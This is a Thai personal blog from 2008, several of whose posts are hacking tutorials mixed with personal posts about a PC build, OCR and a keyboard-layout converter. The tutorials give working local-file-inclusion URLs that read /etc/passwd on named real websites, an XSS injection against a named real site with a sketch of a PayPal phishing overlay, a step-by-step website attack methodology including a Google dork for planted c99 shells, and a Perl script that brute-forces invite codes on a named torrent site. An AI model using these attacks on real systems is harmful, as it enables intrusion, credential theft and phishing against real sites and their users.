Wednesday, July 2, 2008

บทเรียน hack มั่ว (ตอนที่ 2) การ hack แบบ LFI

LFI ย่อมาจาก local file include ประมาณว่า ช่องโหว่ของ php
ที่ทำให้สามารถเรียกดู file ที่มีอยู่ในเครื่อง server ได้

ลักษณะของบัค จะเป็นประเภท เอา [LFI] ไปต่อท้าย url เช่น lfi.php?bug=[LFI]
ไอ้เจ้า [LFI] ถ้าเป็น os win เราก็จะเรียก พวก boot.ini มาดู
หรือ เรียก พวก config.inc.php
มาดู พาส sql ที่อยู่ใน file
ถ้าเป็น linux ก็จะเรียก พวก config.inc.php
หรือ file ที่ใช้เก็บ account ก็คือ /etc/passwd

แต่ก่อน พาสใน linux จะไม่ได้เข้ารหัสวิธีนี้เลยทำให้ hack user-pass มาได้ง่ายมาก
เดี๋ยวนี้ จะ hack มาได้แค่ user เท่านั้น เพราะ พาส โดนเข้ารหัสไว้หมดแล้ว

... อ่าวแล้วจะ hack เอา user มาทำไมล่ะ พาสไม่มีจะตู login ได้ไง
... นั่นดิ hack แค่ user เอามาทำอะไรได้ คำตอบก็คือ บรูท ไง ใช่แระ บรูท !!
บางคนคิดในใจ โห แล้วมันจะ hack ได้มั้ย
ถ้าเกิดตั้งพาสซัก 12 หลักใช้ตัวอักษรผสมเลข
บรูทกันจนแก่ก็บรูทไม่ออกแล้ว

ใช่คับ บรูทไม่ออกหรอกถ้าเราบรูท แค่ user เดียว
แต่เราลองมาคิดในทางกลับกัน
... ถ้าเครื่องคอมระดับเครื่อง server มันก็ต้องมี user มากกว่า 1 account
ดังนั้น account ทั้งหลายในเครื่องมันต้องมีซักคนแหละน่า ที่ ตั้งพาสง่าย สามารถบรูทได้

ไม่เชื่อก็ดูจาก ใน link เอาเอง แล้วกัน ว่ามีกี่ account

hxxp://typs.com/home/main.php/main.php?page=/etc/passwd
hxxp://alteclansing.com/index.php?file=../../etc/passwd (view src ดู)
hxxp://2kgames.com/index.php?p=../../../etc/passwd
hxxp://atari.com/rollercoastertycoon/us/main.php?page=/etc/passwd
hxxp://algo.epfl.ch/index.php?p=../../../etc/passwd

จบดีก่า












Tuesday, July 1, 2008

บทเรียน hack มั่ว (ตอนที่ 1) การ xss

เริ่มจาก การ xss หรือ Cross-site scripting
(ผมรู้ว่าหลายคนไม่เข้าใจว่าไอ้ Cross-site scripting คืออะไร แปลว่าอะไร มาจากไหน ไว้ทำอะไร)
ไอ้การอธิบายอะไร ยาวๆ เป็นน้ำๆ ผมไม่ค่อยสันทัดซะด้วย ดังนั้นถ้าอยากรู้น้ำๆ ไปอ่านจาก wiki เอาคับ

เอาล่ะ เข้าเนื้อเลยดีกว่า ..
ไอ้การ xss เนี้ย ผมว่ามันง่ายสุด ในการหาเลยนะ
ประมาณ 60 - 70% ของเวป ที่มีการเรียกค่า จากการ input ทั้งหลาย นี่แทบจะมีบัคนี้ทั้งนั้น
(เอ๊า แล้ว input คืออะไร ล่ะ ... เออ นั่นจิ สรุปประมาณว่า เวปที่มีการกรอกค่า ทางเวป site แล้วกัน)

ความรู้ที่ต้องมี
- พอรู้ html งูๆปลาๆ (พวก แต่งเวป hi5 เป็นนี่ แทบจะคล่องเลยด้วยซ้ำ)
- รู้คำสั่ง javascript ที่จำเป็น (เข้าทางพวก hi5 อีกแล้ว !!)
- รู้ php , asp , หน่อยๆ พวกการ comment อะไรทำนองนี้
- สำนึกดี (เพื่อศึกษาและสอนผู้อื่น มิใช้ เพื่อประโยชน์ส่วนตัว)

ความอันตรายของการ hack แบบนี้
- ต่ำ ถึง ปานกลาง
ประมาณว่าเป็นการจำอวด ว่า เฮ้ย hack ได้ นะเว้ย แต่ จริงๆแล้ว ทำอะไรตัว host ไม่ได้หรอก
มันเป็นการ สั่งให้ code ไป run บน เครื่อง client (เครื่องคนเปิดเวป) แล้ว script ที่ฝังอยู่บนเวป
ก็จะไป รัน บน client ทีนี้ก็สามารถ ประยุคใช้ ขโมย cookie ของ user ได้ แล้วถ้าฟรุ๊กได้ user ระดับ admin อาจจะ
อันตรายเพิ่มขึ้นเหมือนตอนที่ผม hack บ้านไอ้น๊อตแล้ว login เป็นมันไป โพส comment
ซึ่ง สมมุติ ถ้าผม ไปใช้วิธีนี้ hack เจ้าของ multiply ล่ะแล้วหลังจากนั้นก็ ... ตามแต่จะจิตนาการ
แต่ ถ้า โปรกว่านั้น เคยเห็น javascript ประกอบร่างโทรจันของจีนมั้ย เอ่ย ^^"
ประมาณว่า แค่เปิดเวปก็ติดโทรจันแล้ว อ่ะ แนวๆ นั้นเลย

เอาล่ะทีนี้เรามายกตัวอย่าง ไกลๆ ตัวหน่อย (แค่เขียนนี่ก็ก้าวเข้าคุกไปครึ่งก้าวแล้วมั้งตู)
เหยื่อ เราคือ http://www.stanica.sk/main.php
หลักๆ ในการหา xss ก็คือ
1. เปิดเวป
2. view src
3. เดา !! (แบบมีหลักการ)

เอาล่ะ แล้วหลักการคืออะไร ?
ผมว่ามันไม่มีตายตัว .. แต่อย่างที่บอก หาจุด input รูไหนที่ใส่ค่าได้ ต้องหามาลองให้หมด !!

พอเปิด view src มาปุ๊ป มองไปไม่ไกล ... ผมก็เจอ
<a href="main.php?page=STANICA&lang=SK">
เอ๋ ว่าแต่ มันพิเศษยังไงน่ะรึ บอกแล้วว่าต้องมั่ว ... เริ่มจากลอง ใส่ url เป็น

http://www.stanica.sk/main.php?page=STANICA&lang=SK

ค่าที่ น่าจะรับเข้าไปคือ STANICA และ SK
อ๊ะ มันก็ไม่แปลกอะไรจริงมั้ย ??

เอาล่ะ ทีนี้ลอง มั่วใหม่เป็น
http://www.stanica.sk/main.php?page=STANICA&lang=มั่วนี่หว่า

เป็นไง ทางซ้าย หายเรียบ
แบบนี้ เข้าทางโจร ซะแระ ลอง view src ใหม่อีกที (เลือก ภาษาไทย นะ ... ไม่งั้น ส่วนที่เป็นภาษาไทยจะเจอ ภาษาต่างดาวแทน)
จะเห็นว่าเกิดการเปลี่ยนแปลง ใน src ของ page
จาก
<a href="main.php?page=STANICA&lang=SK">
กลายเป็น
<a href="main.php?page=STANICA&lang=มั่วนี่หว่า">

แล่ว ๆ ๆ ๆ ๆ

ทีนี้ ถ้าเรา เปลี่ยนจาก (มั่วนี่หว่า) เป็น ("code html here") ล่ะ
ตามที่คิด ใน src มันก็น่าจะกลายเป็น
<a href="main.php?page=STANICA&lang="code html here"">

อ่า คิดเสร็จแล้วก็ลอง เลยแล้วกัน
http://www.stanica.sk/main.php?page=STANICA&lang=%22%3C/a%3Ecode%20html%20here%22

เป็นไงล่ะ ด้านซ้าย กลายเป็น code html here ตรึมเลย
ทีนี้ ก็เหมือนกับว่าเราเขียน อะไร ลง บน link ก็จะขึ้นที่เวปหมดเลย
ทีนี้ ลองจิตนาการว่า

สมมุติว่ามีคนเจอ xss ของเวป ธนาคารแห่งหนึ่ง
... ไม่ๆ ๆ เอาเป็น เจอ xss ของ paypal แล้วกัน ใกล้ตัวดี
มี hacker คนหนึ่ง เขียน code เป็นหน้า login ของ paypal ไปไว้ที่ host free
หน้าตาเวปจะเป็น เวป แนวๆ pushing หน้าตา เหมือน paypal เปรี๊ยบ
แต่เขียนให้เก็บค่า จาก form login (หน้าปลอม) เก็บไว้ให้ตัว hacker เองกลับมาอ่าน
จากนั้นก็เขียน code ต่อท้าย ให้ redirect กลับ ไป paypay ของจริง

จากนั้น เอา code iframe มา ต่อท้ายเวป paypal จริง ล่ะ

ผลก็คือทุก user ที่ login ไป แทนที่จะเข้า paypal กลายเป็นไปเข้า เวป ของ hacker ซะแทน

คิดซะว่า คล้ายๆ หน้านี้แล้วกัน

http://www.stanica.sk/main.php?page=STANICA&lang="</a></p></td></tr><iframe src =http://multiply.com width=100% height=100%></IFRAME>
แต่ถ้าทำจริงๆ จะเนียล กว่านี้เยอะ *-*



ปล. จริยธรรม มักจะหมดไป เมื่อตังไม่มี

Friday, June 27, 2008

ตามรอย hacker (ดูเฉยๆ อย่าไป แก้ file เครื่องที่โดน hack ล่ะ)

ออกตัวก่อนว่า จะไม่สอนอะไรมาก (เดี๋ยวอธิบายกันยาว กว่านี้ ซึ่งนี่ก็คิดว่า ยาวและละเอียด แล้วนะ)
เนื่องจากผมหาอ่านเอง จากเวป hack นอกอยู่ประมาณ 2 เดือนมั้ง แล้วก็ลองมั่วเอา อีกซักพัก
(เรื่องแบบนี้ หาคนสอนกันยาก ... ไม่สนิทกันจริงก็มักจะไม่สอน) เลขขอ สรุปแบบผมเข้าใจแล้วกัน

อธิบายคราวๆ เกี่ยวกับเวลาที่เราจะ hack เวปซักเวป
การ hack แบบเนี้ยรู้สึกว่าเค้าจะเรียกกันว่า hack webapp ซึ่งง่ายและเข้าใจได้ไว สำหรับผู้เริ่มต้น
hack แบบนี้ เราจะได้มาซึ่ง shell ไอ้เจ้า shell นี้ ถ้าให้อธิบายคนไม่รู้เรื่องเอาเลยได้ฟัง คงจะเปรียบกับ
เราบุกเข้าไปถึง drive ต่างๆ ของเครื่อง server เช่น c: d: e: แล้วเราสามารถที่จะ สั่ง ให้เครื่องนั้น ทำอะไรก็ได้ ด้วย shell command ต่างๆ เช่น จะ dir ดู file จะ format จะขโมยสคริป
จะ dump database จะ ฯลฯ ตามแต่จินตนาการ เท่าที่ command ต่างๆ จะทำได้

เริ่มเข้าเรื่องดีกว่า

ขั้นแรก ขั้นหา ip
ก่อนจะ hack เราก็ต้องหาว่าเครื่องเจ้ากรรมเนี้ย ตั้งอยู่ที่ไหน
การที่เราจะดูว่าเวปนี้ตั้งอยู่ในคอมเครื่องไหน ใช้คอมเครื่องไหนเป็น server หรือไปเช่า host ใครอยู่
ไม่ว่าจะใครจะเรียกยังไง ผมเรียกว่าเครื่องนั้นคือเครื่อง server แล้วกัน
สิ่งที่จะบ่งชี้ว่าเครื่องใครเป็นเครื่องใครก็คือ IP
ทีนี้การจะได้มาซึ่ง IP ของเจ้าคอมเครื่องที่มีเวปที่เราอยากจะ hack ตั้งอยู่
ก็มีหลายวิธี แบบง่ายเราก็ เข้าหน้า จอ dos แล้วก็ ping ชื่อเวป เราก็จะได้ ip แระ
หรือ เราจะใช้ addons ของ firefox ก็ได้ (ลองหาเอง มีเยอะแยะ)
หรือจะเข้า google หาเวปประเภทบริการ whois ให้ก็ได้

ขั้นสอง reverse ip
คือการเอา ip ที่ได้มานี้ไปเช็ค ว่า เจ้า คอมเครื่องที่เป็น host อยู่เนี้ย มีเวปอยู่ในเครื่องนั้นกี่เวป
บาง ip จะมีแค่เวปเดียว บาง ip มี เป็น 600-700 เวป แล้วแต่ความโลภ เอ้ย แรง ของเครื่อง server
เอาล่ะ ... แล้วจะเช็คยังไงล่ะ ถึงจะรู้ว่ามีกี่เวปบนเครื่อง server นั้น ?
เออ นั้นสิ งั้นขั้นตอนนี้ ผมขอเรียกว่า การ reverse ip แล้วกัน
ลองเอา คำว่า reverse ip ไป หาที่ google ...
จากนั้นเราก็จะเจอ อุปกรณ์ที่จะใช้ หาว่า ไอ้เจ้าเครื่อง server เครื่องนั้น มันมีเวปตั้งอยู่กี่เวป
น่าจะมีเวปไหนที่มีช่องโหว่ให้เรา hack เข้าไปได้บ้าง

ขั้นสาม สำรวจ
หลังจากที่เราได้เวปทั้งหมดที่ตั้งอยู่บนเครื่อง server นั้นแล้ว
เราก็ ไล่เก็บข้อมูลดูว่า เวปนี้ใช้ cms ประเภทไหน ใช้ theme อะไร ใช้ plugins เสริมอะไรบ้าง
หรือ คนนี้เขียนเอง .. มีการรับค่า form ตรงไหน ค่าใน form มีอะไรบ้าง
file ไหนที่น่าจะ บัค หรือ น่าจะมี file ที่เข้าถึงส่วน admin ได้เลย
อาจจะ bypass หรืออาจจะต้องบรูท diractory เพื่อหา
อันนี้ ขึ้นอยู่กับประสพการณ์ล้วนๆ บางคนมองแว๊ปเดียว รู้เลยว่า table(sql) ที่เก็บ id ชื่ออะไร
มีบัค ตรงไหน

ขั้นสี่ ลองบัค
ลองไล่แหย่ดูทีละบัค ว่าบัคได้ผลมั้ย ทั้ง xss, rfi, lfi, sql
ถ้าเป็นพวก cms ฟรี ก็หา ช่องโหว่จาก พวกเวป ที่บอก Exploit ต่างๆ

ขั้นที่ห้า บรูท
hacker ส่วนมากจะหยุดที่ขั้น 4 ซึ่งถ้าไม่เจาะจงเป้าหมาย จริงๆ ประมาณว่าหมั๋นใส่เวปนี้มาก
ยังไงๆ ขอเปลี่ยนหน้าเวปเอาเทห์ซักหน่อยแล้วกันวะ ก็จะไม่ใช้ขั้นตอนนี้
ขั้นนี้ จะมาพร้อมกับการ scan port ดูว่าเปิด port อะไรบ้างเข้าทางไหนได้บ้าง
เปรียบเสมือนเรากำลังจะงัดบ้าน เมื่อเข้าทางประตูไม่ได้เอาวะ ตูยอม งัดหน้าต่าง


จบ ...

ทิ้งท้าย ด้วยร่องรอยต่างๆ ที่มีคน hack ไว้(ส่วนมาก จาก rfi แล้วเอา phpshell ขึ้นไปวาง)
เปรียบเสมือนแอบเปิดประตูหลังไว้ เพื่อแอบเข้าไปได้ตลอดเวลา
ส่วน shell เป็นไง ดูจากรอย shell c99 ที่ผมกำลังจะยกตัวอย่าง

dork : inurl:"php?act=ls" d= <--- คลิกได้จ้า (บางเวปต้องดูในส่วน Cached google เก็บไว้)

มีใครสงสัยมั้ยว่า ทำไมต้อง php?act=ls ?
เพราะว่า shell c99 จะมีคำสั่งเป็นการส่ง get ค่า พารามิเตอร์ที่รับไป
ในที่นี้ก็คือ act (คนเขียนคงย่อมาจาก action)
ls คือ คำสั่งดู file ของ linux มีค่าเท่า dir บน dos ของ windows บ้านเรานั่นแหละ
d คือ ตัวบางบอก path ว่า จะ ls ที่ไหน .. ใส่ไปเพื่อ ช่วยให้ผลการค้นหาเจอเยอะขึ้นน่ะ

ผมว่า บางที google มันก็ฉลาดเกินไปเหมือนกัน ผมเจอ pass admin หลายๆเวป เพราะเจ้า google นี่แหละ
แต่ว่า admin ก็ไม่น่า save เป็น .txt เลย พับผ่าซิ

ขอให้สนุกกับการรู้เรื่อง hack คับ

by windows98SE


Monday, April 7, 2008

ถ้าจะแฮคเว็บสักเว็บที่หมายตาไว้ จะต้องทำอย่างไร what when how why กรุณาตอบที

ไปเจอคำถาม มาว่า

ถ้าจะแฮคเว็บสักเว็บที่หมายตาไว้ จะต้องทำอย่างไร what when how why กรุณาตอบที

(อยู่หมวด vip คนทั่วไปเข้าไม่ได้)
แต่ผมตอบไปว่า

1. ดูว่า เวปที่ใช้ เขียนเองหรือ ใช้สคิปฟรี
1.1 ถ้าใช้สคิปฟรี ก็โหลดมาแงะ (rfi,sql,lfi,xss) หรือ หา bug สำเร็จรูปจาก milw0rm,google
1.1.1 ถ้าแงะแล้วมี bug ก็มุดรูนั้น
1.1.2 ถ้าไม่มี bug โดดไปวิธีที่ 2
1.2 ถ้าเขียนเอง ลอง แงะ จากหน้าเวป ทีละ page (rfi,sql,lfi,xss)
1.2.1 ถ้าแงะแล้วมี bug ก็มุดรูนั้น
1.2.2 ถ้าไม่มี bug โดดไปวิธีที่ 2

2. scan dir เวปนั้นเผื่อเจอ พวก หน้า แปลกๆ เช่น admin,login,phpmyadmin
2.1 ถ้าเจอก็แงะ (rfi,sql,lfi,xss)
2.1.1 ถ้าแงะแล้วมี bug ก็มุดรูนั้น
2.1.2 ถ้าไม่มี bug โดดไปวิธีที่ 3
2.2 ถ้าไม่เจอโดดไปวิธีที่ 3

3. scan ทั้ง host นั้นด้วยวิธีที่ 1 และ 2
3.1 ถ้าเจอก็แงะ
3.2 ถ้าไม่เจอโดดไปวิธีที่ 4

4. บรูทฟอส (ถ้าอยากได้จัดๆ)
4.1 ถ้าเหนื่อยแล้วยังไม่ได้ โดดไปวิธีที่ 5

5. email ไปขอ พาส จาก admin เวปนั้นๆ ;D




ปล. ข้อ 5 ทำง่ายสุด ... แต่ได้ผล ยากสุด ฮี้ๆ

Thursday, April 3, 2008

วิธี ปล้น invite เวปบิทแบบง่ายๆ (พอดีมีคนเค้าใช้ให้สอนเขียน perl)

จะว่ามันเป็น bug หรือปล่าว ผมว่ามันก็ไม่ใช่ bug หรอก
มันแค่ช่องโหว่ เล็กๆน้อยๆ ของ เลขที่ใช้ invite

หลักก็คือ invite มันดันเป็น hash ที่ ใช้ md5 เข้ารหัสของตัวเลข แค่ 4 หลัก
(md5 คือการเข้ารหัสอย่างหนึ่ง ที่มักใช้กัน[ยิ่งแกะยากถ้า ใช้หลายๆหลัก])

ยกตัวอย่าง link invite ของ sb คือ
http://sb.in.th/register.php?invitenumber=[hash]

เช่น link นี้
http://sb.in.th/register.php?invitenumber=ce5140df15d046a66883807d18d0264b
(ce5140df15d046a66883807d18d0264b hash นี้ เข้ารหัสมาจากเลข 1023)

ดังนั้น ขอเดาเลยว่า เลขมันต้องเป็น 0000 ถึง 9999 (1 หมื่น ตัว)
ถ้า นั่งมั่วมือ มันก็จะถึกไปหน่อย ดังนั้นเขียนเป็น perl ยิงไล่ เลยดีกว่า ง่ายดี

คำถาม คือ
Q: ทำให้ ให้เปิดเวป ได้ เพราะเราต้องเปิดหน้าเวป
http://sb.in.th/register.php?invitenumber=
A: ใช้ LWP::UserAgent หรือเขียนโดยใช้ IO::Socket (หากลง Activeperl มันจะมีอยู่แล้ว แต่ LWP สะดวกกว่าเยอะ)

Q: ทำไงจะเข้ารหัสเลข 0000 - 9999 เป็น MD5 ได้
A: มัน จะมี Packet สำเร็จรูป ชื่อ Digest::MD5 อยู่ (ต้องลงเพิ่ม หาเอาได้จาก Perl package manager)

เอาล่ะ เริ่มกันดีกว่า


use LWP::UserAgent; #เรียกใช้ LWP::UserAgent;
use Digest::MD5("md5_hex");# เรียกใช้ Digest::MD5 เฉพาะ sub md5_hex จะประกาศห้วนๆ use Digest::MD5; ก็ ได้เหมือนกัน

# เรียกใช้ packet สำเร็จรูปเสร็จทีนี้มาเริ่ม จาก ประกาศ browser ที่ใช้ ว่าใช้อะไรเปิดเวปกันก่อนแล้วกัน

my $browser = LWP::UserAgent->new(agent => 'Googlebot (Googlebot/2.1 +<a href="http://www.googlebot.com/bot.html">http://www.googlebot.com/bot.html</a>)');
# หลอกว่า ตูคือ google บอท (แต่จริงๆหลอกไม่ได้หรอก มันเป็นแค่เอาไว้บอกว่า ใช้ agent อะไรเข้าเวป )
# จะไม่ใส่ หรือ จะใส่ เหมือนคนจริงๆ เช่น Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) ไปก็ได้ )
# กรณีไม่ประกาศใช้ จะใส่แค่นี้ก็ได้ (ถ้าไม่ใส่ ใน log จะขึ้น ว่า ใช้ libwww-perl เข้าไป)
# my $browser = LWP::UserAgent->new();
# นอกจาก agent แล้ว ยังมีให้ใช้อีกเยอะ (google ใส่ไปว่า perl lwp::agent แล้วอ่านเอา)
# ปล. ใช้อะไรก็ได้ ไม่ จำเป็นต้อง $browser นะ ( src ฝรั่งมักใช้ $ua )

my $target = 'http://sb.in.th/register.php?invitenumber='; # $target = ส่วน link ของเวปเป้าหมายที่เราจะ ถึก

foreach $i ( "0000" .. "9999" ){ # เขียน loop เพิ่มเริ่่มความถึก (ไล่เลข ตั้งแต่ 0000 ไปเรื่อยๆ จน 9999)
  my $hash = md5_hex($i); # แปลง เลขที่ได้ ไปเป็น md5 (ตอนนี้ค่า $hash ของเรา จะเป็น md5 ล่ะ)
  my $url = $url.$hash; #รวมมันไว้ด้วยกัน จะได้ ง่าย ตอน สั่งแสดงผล (จะไม่รวมก็ได้)
  my $response = $browser->get($url); # เริ่มการ เรียกหน้าเวปขึ้นมา
  if($response->is_success){ #ถ้าเปิดได้ ให้ทำตามเงื่อนไข ใน if
    my $x = $response->content;
    if($x =~ m!ยินดีต้อนรับ!){ # ถ้า hash ตรง จะมี คำว่ายินดีต้อนรับ ในหน้าเวป (ตรงนี้อ่าน regex เพิ่มเอา ไม่งั้นสอนกันยาว - -)
      print "[+] Found hash !!\n";
      print "[+] URL = $url\n";
    }
  }else{
    print "Connection error.\n";
  }
}

สรุปว่า เขียนราวๆ เนี้ย อ่ะ (จบแบบขี้เกียจพิมพ์ 555+)
ใครอยากให้มันเขียน file เก็บไว้ เป็น txt ก็ใช้ funtion OPEN เอาแล้วกัน

Sunday, March 30, 2008

อยาก แยกร่าง !!

เคยมั้ย แบบอยากทำอะไรได้หลายๆอย่างพร้อมๆ กัน ??

ใช่ กุเคย บ่อยๆว่ะ !!
แยกร่างแบบ นารูโตะ ซัก 1000 ร่าง ซึ่งเมื่อกลับเป็นร่างเดียว สามารถ รับความรู้ ที่แต่ละร่างไปได้มาได้

ร่างนี้ ไปอยู่กับแม่
ร่างนี้ ไปเที่ยวกับแฟน
ร่างนี้ นั่ง chat กับเพื่อน
ร่างนี้ เล่น dota
ร่างนี้ ไปเรียน
ร่างนี้ ไปดูหนัง
ร่างนี้ไปออกกำลังกาย
ร่างนี้ อ่าน การ์ตูน
ร่างนี้ อ่าน asm
ร่างนี้ อ่าน c
ร่างนี้ อ่าน perl
แต่ละร่าง แยกไปหาอ่านบทความ ต่างๆ, etc blog ความรู้นู้นนี้, howto ต่างๆ
ถ้าทำได้ความสามารถนี้สุดยอดเลยนะเนี้ย

ว่าแต่ ไอ้เจ้า ร่างเดียวตอนนี้ ทำไม มัน dota อย่างเดียวไม่ยอมทำอย่างอื่นเลยวะ -*-


Saturday, March 8, 2008

perl OCR (Optical character recognition)

งมหา ทั่วเน็ต ไม่มีบทความเกี่ยวกับ OCR ที่มันละเอียดๆ และเป็น ภาษา perl ที่พอจะเป็นแนวได้เลย
(ภาษาอื่นเขียนไม่เป็น ^^")

สรุป เขียนเอง งมเอง มั่วเอง ตามฉบับ


เอาวะ จากการมั่วคร่าวๆ

befor after


befor after


befor after




befor after




befor after




befor after




เอาวะมั่วต่อ ใกล้ จะออก มาเป็น ตัวอักษรแระ ฮี้ๆๆๆ
... ว่าแต่ ในเมืองไทย จะถามเรื่อง ocr ใครได้มั่งหว่าเนี้ย

Friday, February 29, 2008

คอมใหม่แจก EXP บานตะไท (#lv 1)

เนื่องด้วยได้ถอยคอมมาใหม่ q6600, asus p5k, ram4gb
ซื้อเครื่องเปล่ามา ลง os เอง ที่ห้อง
คิดในใจ เอาวะ เดี๋ยวลง win2003 เพื่อจะได้รีดแรมออกมาใช้ให้ครบทุกหยด

ที่คิดงี้ เพราะ
1. winxp จะเห็น ram ราวๆ 3.25gb ซื้อมา 4gb หายไป 0.75 เสียดาย T_T
(แต่ก่อนเคยใช้แค่ 512 เอง หายไปเยอะกว่าที่คอมตัวเก่ามีอีก)
2. win2003 support cpu 8 ตัว (q6600 เหมือนมี cpu 4 ตัว)
3. คิดว่ามันจะลงง่ายเหมือนคอมเครื่องเก่า

เจอของเลยคร๊าปพี่น้อง

exp แรก
MB asus p5k(รวมถึงตัวใหม่ๆ ที่มี Internal High Definition Audio Bus)
มันลง driver ไม่ได้ !! เจ๊ดเข้
setup, autorun, etc ต่างๆ ใน แผ่น driver หลายๆ file ไม่สามารถ run บน winNT ได้
เอาแล้วไง งานเข้า (นึกถึงตอนลง linux แล้วแมร่งให้ตู compile driver modem ใช้เอง -*-)
ก็ไล่โหลดใหม่ในเน็ต และบางตัวก็ใช้ในจากแผ่น
แต่เมื่อมาถึง driver sound ก็ลงได้หมดแต่มาติด ไอ้เจ้า Internal High Definition Audio Bus
มันมี balloon ตกใจเหลืองๆ ข้างหน้า

เอาแล้วไง driver ใช้ไม่ได้ กะ win2003 แหง๋มตู
ไล่โหลดจากในเน็ต + ไล่อ่านวิธีแก้
กระทู้บนๆ แนะนำให้โหลด file จาก เวปผู้ผลิต
แต่กระทู้ล่างๆ เจ้าของกระทู้ตอบว่าลง windows ที่มัน version ใหม่กว่า ถึงหาย
ทั้งไทยทั้งนอก ตอบแนวเดียวกันหมด
( แล้วตูจะลง win20003 ได้มะวะเนี้ย - -'' )
งมอยู่ 1 วัน 1 คืน ก็แก้ไม่ได้

เอาวะ เจ้าพุด(webmaster thaikore) เพิ่งซื้อคอมใหม่ไม่นาน โทรไปถามมันดีกว่า...

เจ้าพุดตอบมาว่า ห้ามใช้ device manager ของ windows หา driver ต่างๆ
ให้ไปเอา file ที่อยู่ในแผ่นเมนบอร์ด ลงเลย
(สรุปแบบงงๆ ว่า ลง win เสร็จ เอาแผ่น driver เสียบ แล้วลง driver จากแผ่นเท่านั้นจะแก้ได้)

... ด้วยความหัวแข็ง เฮ้ย ตอบแบบนี้ ไร้เหตุผลมาอธิบายสาเหตุที่ลงไม่ได้นี่หว่า
เอาวะ โทรหาช่างจากร้านที่ซื้อมาดีกว่า

ช่างตอบมาว่า "เท่าที่ผมแก้ให้ลูกค้า" ตอนลง driver มาติด ตรงนั้น
ให้ remove driver pci bus (อยุ่ล่างๆ) ออก พอเสร็จแล้ว สั่งให้มันหาเองใหม่
"ถ้าไม่ได้ยังไง ก็ยกมาให้ผมลงได้นะคับ" (เสียค่า taxi ขนคอมไป-กลับ แล้วจะต้องเสียตังค่าลงอีกมั้ยเนี้ยตู)
(สรุปแบบงงๆ ว่า PCI bus มันชนกัน เลยต้อง remove ออกให้ windows มันเรียงใหม่)

เป็นไงล่ะ ช่างตอบมา ฟังดูน่าเชื่อถือ ... เอาวะ ลง ใหม่แล้วทำตามช่างบอก

จัดการลง win 2003 ใหม่รอบ 2
ป๊าป ... ลง driver ต่างๆ
ป๊าป ... remove pci bus
ป๊าป ... เม้าใช้ไม่ได้ keyboard ก็ใช้ไม่ได้ เพราะมันวิ่งอยู่บน pcibus ที่ตู remove ไป
งานเข้าแล้วไง เพิ่งลงรอบที่ 2 แหม๋บๆ มีลางได้ลงใหม่รอบ 3
เอาวะ กด restart ป๊าป ...
ป๊าป ... หน้าจอ login win2003 ให้ใส่ pass ... keyboard ยังใช้ไม่ได้ เพราะมันยังไม่ได้ detect PCI
อ้าว แล้วตูจะ login ไงวะเนี้ย
สรุป ต้อง ลงใหม่รอบ 3 -*-

เอาวะ ทำตามเจ้าพุดบอกก็ได้
ป๊าป ... ลงได้ลื่นปรื๊ด
โอ้ววววววววววววววววววววววววววว แอบดีใจ ดังๆ อยู่ในหัวคนเดียว
การถามคนมี ประสพณ์การณ์ มันดีอย่างงี้นี่เอง

หลังจากตั้งค่า directX , เปิดการประมวลผล ภาพ 3d, ตั้งเสียง, ฯลฯ
(win2003 ถ้าจะเอามาเล่นเกมส์ ต้องปรับจุกจิกๆ หลายจุด)

เอาวะ ลอง เล่น dota ซะหน่อย ฉลองคอมใหม่ ...
ป๊าป ... จอฟ้า !!! ... เย็ดเข้ จอฟ้าาาาาาาา
จับใจความจากข้อความ error ว่า direct3D bra bra ... atkondmini.dll error dump bra bra ... ...
เอาแล้วไง มีปัญหา กับ direct3D อีกแหง๋ม
เวนกำคอมอย่างแรง+อย่างแพง เล่น dota ไม่ได้

หาในเน็ต ก็ไร้วิธีแก้เช่นเดิม

สรุป กลับมาลง win xp ตามเดิม
driver ต่างๆ ลงได้ ปกติ, จอไม่ฟ้า, ปกติดีทุกอย่าง


จบ ตอน #1
ตอน 2 เรื่องการลง vmware+linux backtrack+activeperl







Thursday, January 24, 2008

perl กับการเขียนบอท IRC (ตอน 5)

บอท irc ส่วนมาก คนที่เขียนเป็นจะ ใส่ funtion สำหรับ hack ไว้ เช่น rfiscan, flood, bom
base script เท่าที่เห็นหลักๆ ก็จะมาจาก pitblue, morgan และ iron bot

จากเริ่มแรกจับ morgan+pitblue+iron bot มาแก้เหลือ 200+ บรรทัด
ไปๆมาๆ ตอนนี้ปาเข้าไป 1200+ บรรทัดซะงั้น -*-

[+] [admin]
# รายงานว่าใครสั่งบอท ได้บ้าง
[+] [milw0rm]
# แสดง bug ล่าสุดจากเวป milw0rm
[+] [dns]
# เช็ค เครื่อง server ว่ามี website อะไรอยู่บน host เครื่องนั้นบ้าง
[+] [md5]
# แงะ md5
[+] [lexitron]
# แปล en->th
[+] [en2th]
# แปลงข้อความเวลาพิมพ์แล้วลืมเปลี่ยนภาษา
[+] [str2hex]
# แปลง string->hex
[+] [netcraft]
# เช็ค ip, web ว่า ใช้ os อะไร จด domain วันไหน หมดอายุวันไหน ฯลฯ
[+] [wiki]
# บอทจะตอบเหมือนกำลังเปิด wiki อ่าน
[+] [milsearch]
# หา bug จาก milw0rm แบบเจาะจง keyword
[+] [download]
# d/l file ลงบน sv (กรณีโดนปิด wget ฯลฯ)
.
.
.

จริงๆ มี funtion อีกนิดหน่อย แต่ ไม่อยากลง
ว่าแต่ ตอนนี้เริ่มตัน ไม่รุ้จะให้มันทำอะไรต่อดี -*-



Wednesday, January 23, 2008

เคยมั้ย ที่พิมพ์ไปตั้งเยอะแล้วดันลืม กดปุ่มเปลี่ยนภาษา

แบบว่า บางที พิมพ์ไปโคตระเยอะ ... ดันลืมเปลี่ยนภาษาซะงั้น
แล้วด้วยความขี้เกียจ(พิมพ์ใหม่) เลยเขียนยัดใส่บอทซะ
สรุปว่า ไม่มีไรมาก แค่อีก 1 funtion ที่ยัดลงไปในบอท (ไร้สาระสุดๆ 555+)

อาจจะมีผิดบ้าง เพราะตอนเทียบ hex ตาลายชะมัด เขียนเสร็จเลยขี้เกียจทดสอบ *-*
แต่ใช้แล้วคิดว่าถูกราวๆ 95% ล่ะมั้ง

sub en2th{
my $eninput = $_[0];
my %h=("\x21"=>"\x2b", "\x22"=>"\x2e", "\x23"=>"\xf2", "\x24"=>"\xf3", "\x25"=>"\xf4", "\x26"=>"\xdf", "\x27"=>"\xa7", "\x28"=>"\xf6", "\x29"=>"\xf7",
"\x2a"=>"\xf5", "\x2b"=>"\xf9", "\x2c"=>"\xc1", "\x2d"=>"\xa2", "\x2e"=>"\xe3", "\x2f"=>"\xbd",
